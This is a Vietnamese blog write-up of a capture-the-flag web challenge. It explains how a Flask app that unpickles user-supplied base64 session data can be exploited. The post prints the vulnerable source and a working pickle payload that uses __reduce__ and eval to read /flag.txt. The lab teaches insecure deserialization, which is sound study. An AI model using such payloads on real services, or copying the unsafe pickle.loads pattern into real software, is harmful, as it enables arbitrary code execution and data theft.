[Cookie hân hoan] Web - Escape the session


Challenge accepted và đây là writeup của bọn mình về bài Escape the session - Cookie Arena =)))


Với bài này sẽ có 2 điểm đáng để chú ý. Đầu tiên, flag sẽ được lưu trong file /flag.txt. Thứ 2, có endpoint /source để cho mình đọc source. Trước khi đọc source code thì chúng ta phải dạo quanh web trước cái nhỉ

Đi loanh quanh web

Trang chủ của web

Chức năng tạo session

Chức năng check session

Vậy là web sẽ có hai nhiệm vụ chính đó là tạo cho mình một cái session và rồi mình có thể cầm session đó mang đi check để xem được thông tin về session đó như name, username, password

Review source code

#!/usr/bin/env python3
from flask import Flask, request, render_template, Response
import os, pickle, base64
from flask_limiter.util import get_remote_address
from flask_limiter import Limiter

app = Flask(__name__)
app.secret_key = os.urandom(32)

INFO = ['name', 'username', 'password']

limiter = Limiter(
    get_remote_address,
    app=app,
    default_limits=["50000 per hour"],
    storage_uri="memory://",
)

@app.route('/')
def index():
    return render_template('create_session.jinja2')

@app.route('/create_session', methods=['GET', 'POST'])
@limiter.limit("5/second")
def create_session():
    if request.method == 'GET':
        return render_template('create_session.jinja2')
    elif request.method == 'POST':
        info = {}
        for _ in INFO:
            info[_] = request.form.get(_, '')
        try:
            data = base64.b64encode(pickle.dumps(info)).decode('utf8')
        except:
            data = "Invalid data!"
        return render_template('create_session.jinja2', data=data)

@app.route('/check_session', methods=['GET', 'POST'])
@limiter.limit("5/second")
def check_session():
    if request.method == 'GET':
        return render_template('check_session.jinja2')
    elif request.method == 'POST':
        session = request.form.get('session', '')
        try:
            info = pickle.loads(base64.b64decode(session))
        except:
            info = "Invalid session!"
        return render_template('check_session.jinja2', info=info)

@app.route('/source')
def source():
    return Response(open(__file__).read(), mimetype="text/plain")

app.run(host='0.0.0.0', port=1337)

Lướt qua code thì mình thấy có 3 hàm và đó cũng là 3 route để điều hướng mình

Hàm source

Hàm này sẽ show ra source cho mình khi vào truy cập vào /source

Hàm create_session

Với một request bằng method GET hàm này sẽ trả về template create_session.jinja2 mà về sau mình sẽ gọi là home cho dễ

Còn với request bằng method POST:

  • Ban đầu sẽ khởi tạo một object với tên là info

  • Sau đó sẽ dùng vòng for để duyệt qua các thuộc tính trong một class là INFO được khai báo ở trên với các thuộc tính là name, username, password. Vòng for này sẽ gán giá trị mà lấy được trong form mình gửi vào thuộc tính như kia. Ví dụ, request của mình như này

Mình sẽ viết rõ lại đoạn khởi tạo object kia để cho nhìn hơn

# Giả sử 3 biến này được gán các giá trị được lấy trong request
name = "1" # Tương đương với name = request.form.get('name', '')
username = "2" # Tương đương với username = request.form.get('username', '')
password = "3" # # Tương đương với password = request.form.get('password', '')

INFO = ['name', 'username', 'password']

info = {}

for _ in INFO:
    if _ =='name':
        info[_] = name
    elif _ == 'username':
        info[_] = username
    elif _ == 'password':
        info[_] = password

print(info)

# {'name': '1', 'username': '2', 'password': '3'}
  • Sau đó sẽ cố gắng serialize cái object info vừa khởi tạo với các value mình truyền vào rồi base64 encode rồi gán vào biến data. Nếu nó gặp lỗi khiến không thể serialize hoặc không base_64 encode được hay là một lỗi quái quỷ gì đó thì nó sẽ gán biến data là "Invalid data!"

  • Cuối cùng sẽ return mình về home kèm với nội dung data kia

Hàm check_session

Với request bằng method GET thì cũng render ra template check_session.jinja2

Với method POST, nó sẽ lấy value của param session trong request POST của mình để mang đi deserialize và rồi sẽ trả về nội dung của object đó cho mình

Còn nếu xảy ra lỗi thì nó sẽ trả về "Invalid session!"

Vùng vẫy để tìm hướng khai thác

Sau khi tìm hiểu source code thì mình thấy có các khái niệm serialize và deserialize ở module Pickle trong Python. Và mình có đọc được một bài rất rất chi tiết loại này ở ĐÂY và mình sẽ tóm gọn lại một vài thứ như này

  • Serialize: là quá trình thực hiện chuyển đổi các cấu trúc đối tượng Python sang một dạng byte để có thể được lưu trữ trên ổ đĩa hoặc được gửi qua mạng. Pickle serialize 1 đối tượng bằng cách gọi hàm pickle.dumps().

  • Deserialize: là quá trình ngược lại với serialize, sẽ chuyển từ một chuỗi byte trở lại đối tượng và sử dụng hàm pickle.loads() để làm điều này

Ví dụ mình sẽ serialize object info mình vừa tạo ở trên

Vậy nếu bây giờ mình base64_encode lại đoạn này rồi mang lên web để check thì có được không nhỉ? Phải thử thôi

Và khi mang lên trên web

Vậy nếu mình truyền vào một object mà do mình tự tạo ra thì sao nhỉ????

Sau khi submit trên web

Đến đoạn mình nhận ra các param name, username, password cũng chỉ để phục vụ cho quá trình check session này nên đây chính là cái chỗ mà mình cần tập trung khai thác. Với một object mình tạo như này thì web đã deserialize ra đúng cái object của mình. Vậy nếu bây giờ mình tạo một object dùng để đọc flag thì sao nhỉ? Liệu nó có được không?????

Khai thác

import pickle
import base64


class Payload:
    def __reduce__(self):
        command = "open('/flag.txt').read()"
        return (eval, (command,))


payload = {'name': Payload()}

print(base64.b64encode(pickle.dumps(payload)))

# gASVPgAAAAAAAAB9lIwEbmFtZZSMCGJ1aWx0aW5zlIwEZXZhb...

Sương sương về đoạn code trên này:

  • Đầu tiên, khai báo 1 class có tên Payload, có 1 method duy nhất là __reduce__ . Khi deserialize thì phương thức __reduce__ đó sẽ được gọi với mục đích là tái tạo lại object đó

  • Trong method __reduce__ sẽ khai báo một câu lệnh với mục để là đọc file /flag.txt

  • Cuối cùng mình sẽ trả về một tuple có chứa eval và câu lệnh kia thì sau đó nó sẽ thực hiện hàm eval kia. Khá khó hiểu đúng không, vậy thì xem ví dụ này vậy

import pickle
import base64


class Payload:
    def __reduce__(self):
        command = "print('ngductung')"
        return (eval,(command,))


a = {'name': Payload()}

ser = base64.b64encode(pickle.dumps(a))

des = pickle.loads(base64.b64decode(ser))

Các bạn có thể lấy đoạn source này để thử debug xem nó hoạt động như nào :v Nhưng kết quả là nó sẽ như này

Nó cũng sẽ tương tự như

Ok đến đây thì mình hãy cầm đoạn base64 kia và mang lên web submit thôi

Tổng kết

Lỗi như này có một cái tên đó là Insecure Deserialization và nó được xếp thứ 8 trong top 10 OWASP năm 2017. Không chỉ là đọc file như trong lab trên, bạn có thể làm nhiều thứ hơn với loại này và nhiều như nào thì phải tùy mỗi người :v Hi vọng Cookie Hân Hoan sẽ phát triển nhiều bài dạng Insecure Deserialization trên các ngôn ngữ khác như PHP chẳng hạn. Mong anh em sẽ học thêm được kiến thức gì đó sau khi đọc bài này, vì đây là kiến thức cá nhân nên sẽ có nhiều thiếu sót hi vọng có thể góp ý dưới phần comment để mình có thể hoàn thiện hơn ở những bài viết sau. Cảm ơn mọi người đã đọc ❤️

1
Subscribe to my newsletter

Read articles from Nguyễn Đức Tùng directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Nguyễn Đức Tùng
Nguyễn Đức Tùng